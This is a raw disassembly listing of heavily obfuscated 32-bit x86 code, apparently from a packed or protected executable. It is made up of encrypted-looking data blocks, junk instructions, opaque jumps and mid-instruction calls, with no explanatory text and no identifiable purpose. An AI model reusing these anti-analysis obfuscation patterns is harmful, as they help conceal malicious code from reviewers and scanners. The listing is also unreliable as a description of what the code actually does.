0F08A1D18h, 0B5B2FA81h, 0BA8A1837h, 6E9A4345h, 0A303B2CCh dd 0B3189809h, 0AAF82873h, 1080934Eh, 3938FED7h, 0B0642E90h dd 7D3427B6h, 0A3DE68FEh, 2FCC1848h, 0ECE8346Eh, 3D993349h dd 3815D1Fh, 0EB0EAA37h, 67F84D91h, 0CB5B56E0h, 0E5208A18h dd 0F06336BFh, 59DCD567h, 4327E2F2h, 2A06769Bh, 34805C46h dd 4DBE5C21h, 2DCA635Fh, 51410D9Fh, 0E77173D3h, 0A1A0EAAAh dd 0B0782A18h, 96E832Dh, 0F0F230EFh, 0F04CE271h, 9A3283Dh dd 0A19B8498h, 0FF762C18h, 31BCB85Dh, 3ADC7891h, 0AE6FC40h dd 0B953C457h, 0B5BB79C8h, 51EBB937h, 1E1709C4h, 0F33FF4DBh dd 7FF913BFh, 6C522FF6h, 0DEC84CDBh, 0EF9FE276h, 212B36D5h dd 0B9569FFh, 730A1696h, 16A4FE28h, 0A8F2BDAh, 0C3692873h dd 7A903CB1h, 82A824F8h, 315F2CF0h, 8ABE5C88h, 77F52D65h dd 61A253E1h, 8C1A9B9Fh, 26DFh, 0A0B3EB00h, 0C53E7E33h dd 2D2F305Ch, 0C92AF01Ch, 0A43A6824h, 92189F12h, 0A4FE37B5h dd 9CDE7C58h, 29BC11h, 78C60000h, 7026A5EDh, 0A5215931h dd 8E14E86Ch, 9C1E76A2h, 0C23E730Ah, 2DADE31Fh, 38F084A9h dd 3042E8E4h, 90A521BDh, 78BE0CE4h, 0F74339DCh, 2E67D3C3h dd 0BE4C56AEh, 0BAFAB737h, 5A305CC4h, 0F35B4748h, 0D2D41C5Ch dd 7A9C38h, 0C5555928h, 0AB45305Ch, 5CC4B6F6h, 2C06A730h dd 3386210Fh, 5E94163h, 0E10B479Fh, 4E584F97h, 930E7486h dd 305C6513h, 0CD11A7FDh, 76177BB7h, 5AAE5383h, 0A855E9Dh dd 0B09DE190h, 0C18D305Ch, 595948D0h, 0BB305CB1h, 0FD8B5BE9h dd 5CB10484h, 960C30h, 7BCBB144h, 0C7DD8169h, 1C339B35h dd 3602805Ch, 5CB15757h, 4AEBB930h, 83324CEEh, 0EDAA8A23h dd 8A9A98BFh, 729B42AEh, 14h, 6AB1DA8h, 66C9546Eh, 0A04A388Ah dd 0A8420ED6h, 35EB27CEh, 0FD7A14Ah, 77CFA943h, 78C4B45Bh dd 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h dd 55A9D367h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push 7F1D878h mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push 3158h mov [esp], edx pop dword ptr [eax+8] push dword ptr [esp] pop eax add esp, 4 mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- dd 70F32CD6h, 0D5C9E688h, 0B832D2B3h, 7F1DBC3h, 0E0FFC503h dd 33457CA7h, 50044688h, 5454E637h, 83F987h, 2E7AD1BFh dd 1E217F69h, 0FFC73A7h, 7407CB05h, 9BD3911h, 5FB66FA3h dd 54A30644h, 38C54D1h, 4BC2ABA7h, 46BF73BDh, 327B88D8h dd 5887EB2Ah, 32B2ED9Ah, 7EB2FE39h, 21C3DE9Ah, 3505BF60h dd 0C9805EA1h, 0F60614Bh, 158Fh, 0FE800h, 6B330000h, 0A6737084h dd 2E3996ABh, 0D9E99747h, 61F9590Dh, 2820Fh, 59510000h dd 1860Fh, 53FC0000h, 0E8A0Fh, 9E90000h, 0B2000000h, 73EFF3B9h dd 364F177h, 66D08B5Fh, 8BC5E2B9h, 0FE852F9h, 0CA000000h dd 0E076F566h, 84A1144Eh, 0E873B2C6h, 816663F6h, 5BD84EE6h dd 6061605Bh, 3810Fh, 8B660000h, 0AE8C7h, 66930000h, 8D5F95ECh dd 6D753E2Dh, 58F8B70Fh, 66CA8B61h, 8060DA8Bh, 0F6123D1h dd 0B80h, 58E0F00h, 66000000h, 0B9FCD681h, 0B66DBE66h dd 815AF556h, 0A0226DE7h, 18B16000h, 5C7ABB61h, 0BE667BBEh dd 81667928h, 8BA665EEh, 0C38BF5FBh, 9E8h, 7A28C100h, 39D00D6Bh dd 0E951FB10h, 0Ah, 0B907AFB6h, 0EDF738BEh, 5E58E73Ah dd 0B794D881h, 0BB666BA4h, 66FCD828h, 667C2DB8h, 3360EB81h dd 0A5F1D381h, 0FF84160h, 68Ah, 0BB665100h, 535FC8B4h dd 8C356BBAh, 81665B39h, 0F8791CC8h, 0CE860F5h, 0C9000000h dd 239C8324h, 0A252B9F3h, 8BA5464Eh, 870F5ECEh, 2, 0E8616160h dd 7, 48C8F1B3h, 0E88AD536h, 13h, 31F0B0FAh, 8866E7F5h dd 6B50588Ch, 0E03C7FE3h, 66653D94h, 4BF0DB81h, 0F953595Fh dd 62BA665Fh, 0FF18B98h, 58Ch, 834DBA00h, 8B6663D4h, 1800FC2h dd 0FC000000h, 0AEB96651h, 8B665BB5h, 14E9C3h, 0F44B0000h dd 0EAF94005h, 44E27BD7h, 0A54AE936h, 3D291DC4h, 850F4168h dd 7, 18D0Fh, 0E9F80000h, 6, 0B414336Dh, 0D4800EA5h, 2C850FC9h dd 60000000h, 10E9h, 5ED31500h, 0C7544B8Fh, 10CD591Bh dd 1BABB1AFh, 10E93Dh, 477C0000h, 0ADB1D945h, 0ACCC43ACh dd 72C27DF0h, 0F5616D90h, 9E960h, 87570000h, 36F8A49Fh dd 61EFAB85h, 64DEBB66h, 3870Fh, 0BF0F0000h, 0F38166D8h dd 0B8661FA6h, 0FE99499h, 14000000h, 0D705E53Dh, 0E20752FCh dd 27F57198h, 800F1910h, 7, 0C1816657h, 0B35BBF38h, 7E9602Dh dd 0F2000000h, 56FDEABFh, 0E961A5ECh, 0Bh, 83157B80h, 401CB31Fh dd 0F824576h, 128Ah, 0DE900h, 6CAC0000h, 0E0B10E9h, 42CE39F6h dd 8A102D17h, 7880FC7h, 60000000h, 0B5D68B66h, 0CE961F0h dd 0C6000000h, 92B15B3h, 34F7B93Eh, 0E8C8A42Fh, 5, 0EB030007h dd 0C781663Ah, 0F5A930Fh, 0B8Eh, 58C0F00h, 66000000h, 1F14E381h dd 5E9h, 0B8E4800h, 0C1B3577Ch, 0DBD38166h, 9E9FC3Eh, 9000000h dd 0E3C21471h, 0F5D5C3C4h, 0AFBF66F9h, 0F88A6003h, 0DFB70F61h dd 0E9FE8B66h, 0Ch, 0D5618EBEh, 7693E59Bh, 57F4226h, 32B4F5F8h dd 0DE9h, 0FDD3E200h, 4A1289C5h, 1C48FE30h, 10E813C7h dd 0CA000000h, 0BBA603CDh, 820E1F68h, 398DB3BEh, 8126A3ABh dd 49FE1D1h, 8B665A1Dh, 0C1F781C6h, 0E953DE78h, 5, 5730D942h dd 81666033h, 0B9E496CFh, 6295BDD8h, 5E861h, 4FAE0000h dd 81B03582h, 5C302EEAh, 0C18B590Dh, 226BB60h, 0CE9654Dh dd 5E000000h, 0FEA4954Bh, 0DA024854h, 61BD85B8h, 1C56C081h dd 8166283Eh, 60D116C0h, 11E9h, 1D31A800h, 2DBE5474h, 168B59B1h dd 0F311B58Bh, 8A0FF0C7h, 2, 0F615F57h, 18Dh, 0F60FC00h dd 288h, 61EC8A00h, 7924B966h, 10E9h, 0AD042800h, 0F195C641h dd 20E6C1BAh, 0CC2D5BA4h, 0E3D98076h, 4685CDBFh, 8A0F1Ch dd 0B3000000h, 98E0F16h, 0F000000h, 38Ch, 44DE8000h, 0E9C88B66h dd 0Ch, 0AD8EB2A3h, 0D6F9D433h, 1584AE97h, 0BE9h, 0E281F600h dd 81FC7C02h, 73AE0CA8h, 0F0DF8166h, 9E99Bh, 0C42F0000h dd 36EFB0DFh, 8B3FFC72h, 0DE9CFh, 39BE0000h, 1F562E46h dd 0D9F26Ch, 6041D025h, 13E9FCh, 6E250000h, 0C767E313h dd 0ADE4A1F4h, 7C6623A1h, 0D7640560h, 0B9516105h, 145B4B82h dd 8E859h, 198D0000h, 0FFA73326h, 665066E1h, 5B5FC78Bh dd 12E9h, 0D3A2C900h, 0F0F3ACBDh, 5CE57ABAh, 3111235Ah dd 0F876B24h, 7E8FFBFh, 0DE000000h, 0ACFA62DEh, 5FB1B766h dd 0F6B70F5Ah, 66FA8B66h, 512826BBh, 9E852h, 2EA50000h dd 0FD0AB9FBh, 5A557036h, 66605A5Bh, 0E92AF6BBh, 6, 93693310h dd 0F613BBAh, 6660F9B7h, 0BBB6F081h, 7E9h, 6E595A00h, 0FC59783Fh dd 0E217BE61h, 0BF0F7FD0h, 10D681F2h, 0B779D4F5h, 0DBE8B9C2h dd 0CE90E43h, 0DF000000h, 58DC79FDh, 0A9896A00h, 0B5AC3E32h dd 5BC08120h, 5709D210h, 0BE9h, 1CE19500h, 1FA9CC2Eh, 18E1F959h dd 21BF6658h, 0F5BB515Fh, 582BD4A1h, 42E18166h, 0C081660Bh dd 0F7805ED4h, 38F0F81h, 80000000h, 0F281F9F4h, 46630D88h dd 0E8D98B66h, 11h, 8BE65AB1h, 0EA64D265h, 9B11AD14h, 0F40F5861h dd 8DF180E9h, 0BA13B858h, 810F4C17h, 12h, 5E960h, 23E0000h dd 0FE75C40h, 8Bh, 19B06100h, 9E9h, 0DA7CE000h, 132B47F2h dd 0C080F92Eh, 6800F63h, 81000000h, 0B2DE73C1h, 0FE93Bh dd 91320000h, 7F2F957Ch, 982142E8h, 5FFEB66h, 0AE2BB879h dd 0C48048AFh, 4840F98h, 66000000h, 0FC8BDBEh, 28Bh, 0FF18B00h dd 584h, 0F5BCB900h, 0BA6634F1h, 66520850h, 0F95BC18Bh dd 21F4EA81h, 0AE90C07h, 7E000000h, 51489995h, 0C4436431h dd 8D0F5723h, 2, 8B5FDE8Bh, 9E8D6h, 2870000h, 22C8FB6Fh dd 0F2E528Dh, 0F5FFBB7h, 1E89h, 12E800h, 0FA5A0000h, 0F3BA9B74h dd 71C02BA6h, 716B6E0Dh, 0AA581646h, 8EEFF181h, 805A0653h dd 8A6088C2h, 11E9DCh, 26690000h, 0DFDC6683h, 1F66C498h dd 0CEADEB7Ch, 6159BDAEh, 0F2B70F60h, 0CE956h, 0AB3F0000h dd 7C16C279h, 522D030h, 615ACAAEh, 0DE2CBB66h, 0FFB70F60h dd 8161F78Bh, 0D4F732C0h, 12E93Fh, 715D0000h, 17A04D00h dd 5C1CBBBh, 658328Bh, 207F37F0h, 13E9h, 1FC4EF00h, 0CE0FB28Ah dd 63F27E78h, 6218CF86h, 0B25D74E4h, 11E9h, 0E5D53300h dd 0BDA13F6Dh, 7E64A6E2h, 2B1AD546h, 0C281CBC4h, 256BF560h dd 0AE9h, 80646000h, 5B53FFC9h, 663A64E2h, 8166C78Bh, 0E88724F6h dd 0Fh, 476C6210h, 725ECC75h, 0B1A3EC54h, 666BBCF7h, 0E85FCA8Bh dd 12h, 0A9DBB13Fh, 9635604Ch, 492A51D3h, 0C8D6B0F0h, 816614B7h dd 5BFA6DEAh, 665850FCh, 6DA5F681h, 0DE9h, 105DF200h, 0D7F0661Fh dd 0ACEF181h, 0F9603B4Ch, 7E953h, 9AFE0000h, 0FCD08AB5h dd 60615A95h, 0BF66CE8Ah, 666100C0h, 0FDCE81h, 98A0Fh dd 8F0F0000h, 3, 0FCC88B66h, 6DE98166h, 0EE95Ah, 0E1870000h dd 0F89E4D5Eh, 8901E160h, 0BDDC0C76h, 8AD18B66h, 0EDBA66F4h dd 128F0F9Fh, 60000000h, 9E9h, 90BFB800h, 268951F0h, 0E9B0FD23h dd 0DE961h, 2AA50000h, 23274E45h, 91B20CCCh dd 0FCAC4FCh, 88Dh, 8F0F5100h, 0 ; --------------------------------------------------------------------------- pop ebx mov si, bx mov esi, 3FF9B94h and bh, 0E0h pusha mov ebx, 33AA51Dh pusha cld mov edi, edx popa popa mov dh, 0AAh sbb ax, 4FB5h sbb bx, 7978h push edi mov bx, 0F82Eh pop edx pusha mov dx, 0AB15h mov bh, 4Ch popa mov ebx, edi mov esi, 1D170956h movsx esi, dx jmp loc_612266 ; --------------------------------------------------------------------------- db 5Dh, 0BAh, 0A5h dd 1926CFF4h, 30917E89h, 71A4461Fh ; --------------------------------------------------------------------------- sub ecx, edi loc_612266: ; CODE XREF: sdfs____:00612250j mov cl, 16h mov bh, 4Ch sub si, 3B38h jmp loc_612284 ; --------------------------------------------------------------------------- dd 0F5EA27CFh, 73F1EC42h, 8B0874D1h, 5A5866F7h ; --------------------------------------------------------------------------- loc_612284: ; CODE XREF: sdfs____:0061226Fj mov di, ax mov di, ax adc edi, 0A683F7Bh mov edx, 6B65E45Ah jb loc_6122A0 mov edi, 70623C30h loc_6122A0: ; CODE XREF: sdfs____:00612295j sbb dh, 54h jmp loc_6122B1 ; --------------------------------------------------------------------------- dd 0A427B90Eh, 59FAE40h db 0D9h ; --------------------------------------------------------------------------- loc_6122B1: ; CODE XREF: sdfs____:006122A3j and edi, 4DFE0FF5h jnz loc_6122BF mov bl, 0D5h loc_6122BF: ; CODE XREF: sdfs____:006122B7j sub ah, 24h mov di, 0E76Dh call sub_6122D6 jmp short near ptr loc_6122CB+1 ; CODE XREF: sdfs____:loc_6122CBj ; --------------------------------------------------------------------------- db 5, 79h, 94h dd 1FB37044h db 0E3h, 13h ; =============== S U B R O U T I N E ======================================= sub_6122D6 proc near ; CODE XREF: sdfs____:006122C6p mov bh, 97h pop eax pusha mov ecx, 534229EAh mov bl, 40h popa mov ebx, 288F2BCFh jno loc_6122FC pusha jmp loc_6122F8 ; --------------------------------------------------------------------------- db 2Fh db 90h db 80h, 45h, 2Ch ; --------------------------------------------------------------------------- loc_6122F8: ; CODE XREF: sub_6122D6+18j mov ax, cx popa loc_6122FC: ; CODE XREF: sub_6122D6+11j cld mov dx, ax sub eax, 2563A478h mov ecx, esi mov dx, ax sbb di, 0F686h and esi, 653B35B4h mov ax, 8568h mov ah, dl mov ecx, eax pusha movsx edx, di mov esi, eax popa add dh, 0EAh jmp loc_612334 ; --------------------------------------------------------------------------- scasb cmp esi, edx xlat push edi nop cwde loc_612334: ; CODE XREF: sub_6122D6+52j jle loc_612343 pusha pusha popa or cx, 0C250h popa loc_612343: ; CODE XREF: sub_6122D6:loc_612334j xor ecx, 0EFE24D6h cmc adc eax, 53A8519Eh push ebx mov si, 6847h pop edx movsx ecx, ax call near ptr loc_612361+3 sahf movsb dec ecx loc_612361: ; CODE XREF: sub_6122D6+83p mov edx, 0E85B66E9h sub_6122D6 endp ; sp-analysis failed adc [eax], eax ; --------------------------------------------------------------------------- dd 74240000h, 0F9EF591Dh, 96A80AFh, 9948D15Fh, 0E878ADC5h dd 0Ah, 92BED3F5h, 312A6908h, 0B966306Fh, 5F5ADD90h, 0FD38B66h dd 28Dh, 0FFE8B00h, 0BE9F7B7h, 0EA000000h, 43CBEDCEh, 0E444C8DDh dd 0F516DE6h, 505FFEB7h, 2AC5DE81h, 0F55F034Bh, 8119F781h dd 6E971A0h, 0BA000000h, 0C83D4961h, 11E9F824h, 0EA000000h dd 0BD1DF00Ch, 0F31FC306h, 6F06D1F5h, 9798287Fh, 5C07B866h dd 0E9F78B66h, 0Bh, 0D837C39Eh, 0DA0CF444h, 66413722h dd 0E9FB3BBBh, 0Fh, 273F43CDh, 0EDCAABDAh, 0C3E5CB4Fh dd 663B0884h, 12E9F98Bh, 0E6000000h, 0BACC11A4h, 0AAF24F9Eh dd 0BED05CBBh, 0EB44EDF1h, 9E9B5h, 0B67E0000h, 0B1790802h dd 0E9A9F8CDh, 0Ah, 0D1EC2261h, 0EB15F3BFh, 0E9F5D944h dd 0Dh, 5EDBB0ABh, 0C877E07h, 14E5821Fh, 32D38196h, 6623C59Ah dd 0BE8D98Bh, 0AC000000h, 0A09E05D2h, 9374723Eh, 81663417h dd 5884DAC7h, 14E9h, 61AA8000h, 0C1C05B59h, 8F3497ACh dd 64661C1h, 0B83BAD46h, 0E281663Ch, 0D48A67D0h, 0F8DADE81h dd 66562906h, 59C230BFh, 8BFE8B66h, 0F60F5D6h, 68Fh, 43EA8100h dd 617F238Dh, 0B05ACA80h, 12E874h, 35E50000h, 0AFE915F9h dd 0E59C6D30h, 2EDC874Eh, 0E8BC068Ch, 9594B966h, 0B966F95Bh dd 14E9C796h, 90000000h, 0F69FC960h, 0B39CF318h, 0C082F08Bh dd 0B7341FAEh, 0E96BF660h, 0Dh, 0E699DB41h, 3FFAA7C8h dd 0FF7B3294h, 5EF28015h, 0D881D08Bh, 158874C4h, 9E96AB2h dd 42000000h, 61BFED5h, 10254001h, 5810Fh, 81660000h, 667C72E9h dd 0FCE06BAh, 8F0FFFBFh, 1, 0CE8B66F5h, 0FDA1BA66h, 7276E181h dd 8B661E93h, 0EE8CEh, 8FF30000h, 86557596h, 0E4CF8259h dd 7CB9B5C3h, 0DA816658h, 41B30BE9h, 0F281F28Bh, 3933AC9Ch dd 80D0B70Fh, 8166E5F0h, 6010D0EFh, 0D2BF0FF8h, 84BF6661h dd 0CE96Ah, 9F0C0000h, 78A008D3h, 3F6C3AD0h, 6060D716h dd 6E9h, 0C6BE9F00h, 810904C4h, 371410C9h, 61F86175h, 0D3A9D881h dd 0E95675F3h, 7, 2AED27A8h, 5FCAD85Dh, 0C78BD78Bh, 10E9h dd 28DCA900h, 19B30ACFh, 0D3CC78DCh, 0D6AF5FA7h, 1840FBDh dd 0FC000000h, 0F6816652h, 565ECB5Eh, 2DD7DDBFh, 0BF0F5870h dd 0D2B966DEh, 7E99Bh, 0DF360000h, 24064432h, 0D18B60C6h dd 6134C380h, 0B860Fh, 8C0F0000h, 5, 0C040E3B8h, 0F9F28B35h dd 0EB8F860h, 61320819h, 0BFD08B66h, 152126E4h, 66D6B70Fh dd 6651FE8Bh, 5ED6D5B9h, 5079C080h, 1FBB665Ah, 60DA8B25h dd 0F5E7BB66h, 28E0Fh, 0FB8B0000h, 0FEBF0F61h, 0C3EB8060h dd 9E9h, 243DCD00h, 82D050B7h, 0F619AE0h, 8Ah, 0B6F38A00h dd 10E8FBh, 0D6A80000h, 527BE7F0h, 0B2B21FFCh, 62D159C7h dd 0B70F8FA3h, 0F98A5BD7h, 0E591F181h, 0BE931CBh, 99000000h dd 5941D68Bh, 142982FBh, 0BF0F96BAh, 5860FCFh, 66000000h dd 746FCA81h, 6800Fh, 0CE810000h, 76A64E4Fh, 9FF61ABBh dd 94B86036h, 0BA538467h, 621378D0h, 0D18B6661h, 0E081C68Bh dd 4A0680BEh, 0E960DEB3h, 0Eh, 0A66A274Fh, 479A207Ch, 2D98AEC3h dd 8B60745Bh, 666161C7h, 8160F18Bh, 20C4E0D7h, 8E877h dd 0E7EE0000h, 617763D9h, 0BF0FAE1Ch, 81615FC6h, 0E906BEDBh dd 0EE86Eh, 7E460000h, 8BF1B4B0h, 0EE5B8FEEh, 91FCEC5Fh dd 820F5EF9h, 18h, 12820Fh, 0DE90000h, 4000000h, 5620E86Dh dd 0DF80AAE9h, 818CFF9Ch, 0EB816660h, 14E8E16Ch, 1F000000h dd 40379BCFh, 0EB394D3Bh, 20732C8h, 55E828EFh, 0FE0F1BBh dd 8Dh, 66615B00h, 81036EBEh, 3C208ACFh, 0E8CE8B02h, 13h dd 4E366322h, 0AF0DB892h, 0D4845D4h, 0BD775FBFh, 662390E8h dd 330CB81h, 7E959h, 90D90000h, 8B091E0Ah, 6EB260E6h, 505A5260h dd 0FC616159h, 2860FF9h, 8B000000h, 4E51BED6h, 14E91D91h dd 35000000h, 8C9911BBh, 0F374129Bh, 4D6F84B8h, 0C4CC5B25h dd 0F9B2641Ah, 0A6D08166h, 0BE96034h, 3000000h, 6C0DCF21h dd 686B57B8h, 0EC80DEEFh, 0C4B1618Ch, 0CE9h, 96202800h dd 96DA68D0h, 0EB20738Ah, 8B66F921h, 8B6660C6h, 8B61FCCBh dd 7850FF7h, 60000000h, 9530B866h, 0DF8161F8h, 4CCE4BF2h dd 0F88B6650h, 10E85Eh, 870A0000h, 65344558h, 6237FDE5h dd 3650CD19h, 8060ABADh, 0D08BF6EEh, 0BF535F61h, 3503BCA8h dd 0F18B665Ah, 0FF18BF8h, 8B66C7BFh, 0B20FB5CEh, 0EF816616h dd 0BF66A600h, 0BE9C95Fh, 69000000h, 8DFB5228h, 51D9A591h dd 6EB301B0h, 8166D48Ah, 669CEEEBh, 0E91D58BEh, 9, 4FC49FE7h dd 2BE86E38h, 0F0E28172h, 0F097D7Ah, 0B966C1BFh, 8166C81Dh dd 0E8C52AD3h, 13h, 0F94D7B18h, 14DEB83Dh, 6F40EBF1h, 0B820AA09h dd 8ADE222Bh, 0E9F95AF9h, 12h, 132FB9C6h, 0D10D52D2h, 0C699FB4Eh dd 30B4E1BDh, 0F2805BB8h, 8B0FFEh, 0E9000000h, 0Eh, 25243BE9h dd 0BA9A350Ch, 4D72215Ch, 8B66588Ah, 720BB8C7h, 8B660334h dd 5EF950F1h, 14E9h, 0B26A7B00h, 0B8EF922Fh, 32967240h dd 3DDAC975h, 0B5F35F1Bh, 0E2B0BFE9h, 0CE8B786Dh, 0FD98B66h dd 580h, 0B1E2B800h, 0DE812FEAh, 714866CCh, 1A06BF66h dd 5810Fh, 17BB0000h, 0F38C375h, 0C8Ah, 6850F00h, 81000000h dd 423EB3D0h, 850F6009h, 0 ; --------------------------------------------------------------------------- and edi, 4C09346Ch popa stc cmc pusha js $+6 movsx edi, si popa mov eax, 1805CD64h mov edi, 28C69369h push ecx adc dx, 0BB19h pop esi jnz loc_61298D mov ebx, eax loc_61298D: ; CODE XREF: sdfs____:00612985j mov ecx, 4DD76BFAh mov ax, di jmp loc_6129AC ; --------------------------------------------------------------------------- dw 0C900h dd 3F85827Fh, 9F86B349h, 7D95BAADh, 0BD588FD5h ; --------------------------------------------------------------------------- loc_6129AC: ; CODE XREF: sdfs____:00612995j and dx, 0E2E5h mov edi, 29F4FF7h add dl, 73h jmp loc_6129C6 ; --------------------------------------------------------------------------- dw 2AD7h dd 1553219Fh db 4Bh, 0BAh ; --------------------------------------------------------------------------- loc_6129C6: ; CODE XREF: sdfs____:006129B9j call near ptr loc_6129D1+4 mov ss:[edx+39h], bh push edx loc_6129D1: ; CODE XREF: sdfs____:loc_6129C6p and bh, [edi+5658245Ah] pop edi movsx ecx, si pusha mov eax, 39EE7FD2h push ebx mov edx, esi pop edx popa mov cx, 4BF6h ja loc_6129F5 or ax, 28BEh loc_6129F5: ; CODE XREF: sdfs____:006129EAj movsx esi, di xor di, 0C630h sub dh, 6Eh movzx ecx, di mov dx, cx mov dx, 95FDh mov dx, 431Fh pusha mov ecx, ebx call near ptr loc_612A21+3 jo short near ptr loc_612A21+5 or eax, 0F1731135h mov cl, dl and edx, esi loc_612A21: ; CODE XREF: sdfs____:00612A11p ; sdfs____:00612A16j mov ds:67CA8176h, ecx mov esp, 615E734Ch jmp loc_612A42 ; --------------------------------------------------------------------------- db 0C8h, 2Dh, 0Bh dd 89BB8DD5h, 7F7CF378h, 920A2C9Fh db 0FCh, 0DFh ; --------------------------------------------------------------------------- loc_612A42: ; CODE XREF: sdfs____:00612A2Cj pusha adc dx, 0CC34h xor esi, 3D3E8F8Fh popa xor ax, 0D575h sbb bl, 8Bh mov bx, dx stc mov bh, 0CAh mov di, 0C72Fh call sub_612A73 ; --------------------------------------------------------------------------- dw 9A16h dd 332F59DDh, 9F4EF5Eh db 0F1h, 0C6h, 45h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_612A73 proc near ; CODE XREF: sdfs____:00612A61p mov ecx, 0E278562h pop esi call sub_612A8A jmp near ptr 79937D2Ch sub_612A73 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop ebx mov al, ds:79DF8355h push cs ; =============== S U B R O U T I N E ======================================= sub_612A8A proc near ; CODE XREF: sub_612A73+6p mov eax, 68E78D52h pop ecx call sub_612A9D sub al, 4Eh call near ptr 55F970A7h stosd sub_612A8A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_612A9D proc near ; CODE XREF: sub_612A8A+6p mov ecx, edi pop eax jnb loc_612AAC sub ebx, 1A39C1E8h loc_612AAC: ; CODE XREF: sub_612A9D+3j movzx ecx, dx mov edi, 664D1066h mov eax, ebx mov esi, ecx or ebx, 261CC7A9h jmp loc_612ACC ; --------------------------------------------------------------------------- db 3Eh ; --------------------------------------------------------------------------- mov fs, cx daa fmul qword ptr [esi+58h] mov dl, 0A5h loc_612ACC: ; CODE XREF: sub_612A9D+21j mov dh, bl jnb loc_612AD7 movzx edi, di loc_612AD7: ; CODE XREF: sub_612A9D+31j mov edi, 4ED34A5Eh pusha jnz loc_612AE8 sbb cx, 10CCh loc_612AE8: ; CODE XREF: sub_612A9D+40j mov si, 0E09Bh popa mov esi, 26EC57D6h pusha pusha mov eax, 5C05F0EBh popa clc popa mov ebx, 658A5CE0h pusha stc ja loc_612B0B push edx pop ebx loc_612B0B: ; CODE XREF: sub_612A9D+66j popa mov esi, 152A7568h jmp loc_612B1B ; --------------------------------------------------------------------------- mov dh, 0FCh xor esp, 0FFFFFFFDh loc_612B1B: ; CODE XREF: sub_612A9D+74j call near ptr loc_612B25+1 cmp [edi], esp and al, 11h dec esp loc_612B25: ; CODE XREF: sub_612A9D:loc_612B1Bp push 14E9h sub_612A9D endp ; sp-analysis failed add ch, cl idiv byte ptr [esi-20h] mov byte ptr [esi], 0C6h pop esp or eax, 2188612Bh out 80h, al ; manufacture's diagnostic checkpoint cmp ecx, [ebp+58A99C51h] call sub_612B51 xchg eax, ecx mov edi, 0EA87BCB3h push ebp test [eax], ecx ror byte ptr [ecx+48h], cl ; =============== S U B R O U T I N E ======================================= sub_612B51 proc near ; CODE XREF: sdfs____:00612B40p mov ecx, 58CF15E2h pop edi mov dl, 0ACh jmp loc_612B66 ; --------------------------------------------------------------------------- dw 8564h dd 1ABE8BA1h db 0C6h, 78h ; --------------------------------------------------------------------------- loc_612B66: ; CODE XREF: sub_612B51+8j or bl, 47h mov bh, 21h pusha add ecx, 6F6578DBh mov cl, bl popa xor bh, 1Bh movzx edi, bx push ebx movsx eax, si pop eax jp loc_612B88 ; CODE XREF: sub_612BC8+38j mov dl, 1Ch loc_612B88: ; CODE XREF: sub_612B51+2Fj add di, 8ED8h mov dl, 4Dh jmp loc_612B9D ; --------------------------------------------------------------------------- dd 952AD556h db 0EDh, 0A0h ; --------------------------------------------------------------------------- loc_612B9A: ; CODE XREF: sub_612B51+6Dj mul dword ptr [ebp-7Ah] loc_612B9D: ; CODE XREF: sub_612B51+3Ej jmp loc_612BB6 ; --------------------------------------------------------------------------- dw 2A7Bh dd 76C428DBh, 433B4E11h, 0AD6E2CDh, 0FAE0A264h db 0A2h, 0A6h ; --------------------------------------------------------------------------- loc_612BB6: ; CODE XREF: sub_612B51:loc_612B9Dj call sub_612BC8 test ebp, ebp nop jle short loc_612B9A dec esp imul ecx, [edi+56CB8A9Eh], -4Eh sub_612B51 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_612BC8 proc near ; CODE XREF: sub_612B51:loc_612BB6p cld pop edi and ebx, 5A289394h jmp loc_612BDF ; --------------------------------------------------------------------------- db 58h, 93h, 7Bh dd 3EB8ABEh db 0A4h, 5Ch, 6Bh ; --------------------------------------------------------------------------- loc_612BDF: ; CODE XREF: sub_612BC8+8j mov bx, si jmp loc_612BEC ; --------------------------------------------------------------------------- db 0EDh dd 0DF52843Dh ; --------------------------------------------------------------------------- loc_612BEC: ; CODE XREF: sub_612BC8+1Aj js loc_612BF6 mov di, 35F9h loc_612BF6: ; CODE XREF: sub_612BC8:loc_612BECj call near ptr loc_612C02+1 sbb al, 80h push ecx cmp edi, esp jp short near ptr loc_612B80+2 loc_612C02: ; CODE XREF: sub_612BC8:loc_612BF6p psubb mm3, qword ptr [edx+66h] sub_612BC8 endp ; sp-analysis failed mov edx, 0D6817A5Ah jmp far ptr 0DFB7h:0F355989h ; --------------------------------------------------------------------------- dw 870Fh dd 6, 8A0Fh, 860F0000h, 7, 1840Fh, 0BFFC0000h, 19146AA8h dd 66A7EC80h, 0E952CF8Bh, 10h, 0E86AA911h, 8D5C4687h, 0A4112CDCh dd 9CCBC83Ah, 0D7E5805Bh, 369EC8BAh, 0B70F6013h, 0C2BF0FCBh dd 13E961h, 51140000h, 7C9921E5h, 20EFCA5Dh, 4032A357h dd 9F3A352Ch, 0B5606031h, 0C6F18100h, 6141F143h, 8BF38B61h dd 0BE8F1h, 945E0000h, 239AB443h, 0D17684D1h, 59CAB101h dd 58F0F51h, 0BF000000h, 0ED5A1E9h, 0F47B658h, 0F50FEBFh dd 688h, 0F3E88100h, 59350C14h, 0F3E78160h, 562D0E55h dd 615AC68Bh, 0B70FF48Ah, 5AF552C3h, 0FD0BF0Fh, 8B0FC2B7h dd 0 ; --------------------------------------------------------------------------- ja loc_612CE6 js loc_612CE6 mov ah, ch loc_612CE6: ; CODE XREF: sdfs____:00612CD8j ; sdfs____:00612CDEj movzx edi, ax pusha mov al, ch popa movsx ecx, cx mov si, 0C7B8h movzx edi, bx stc mov ax, si mov edi, eax or cl, 7Ch jmp loc_612D12 ; --------------------------------------------------------------------------- db 91h, 0BAh, 61h dd 24C83D49h, 755FC10h db 0BFh, 0E9h ; --------------------------------------------------------------------------- loc_612D12: ; CODE XREF: sdfs____:00612D00j jg loc_612D19 cmc 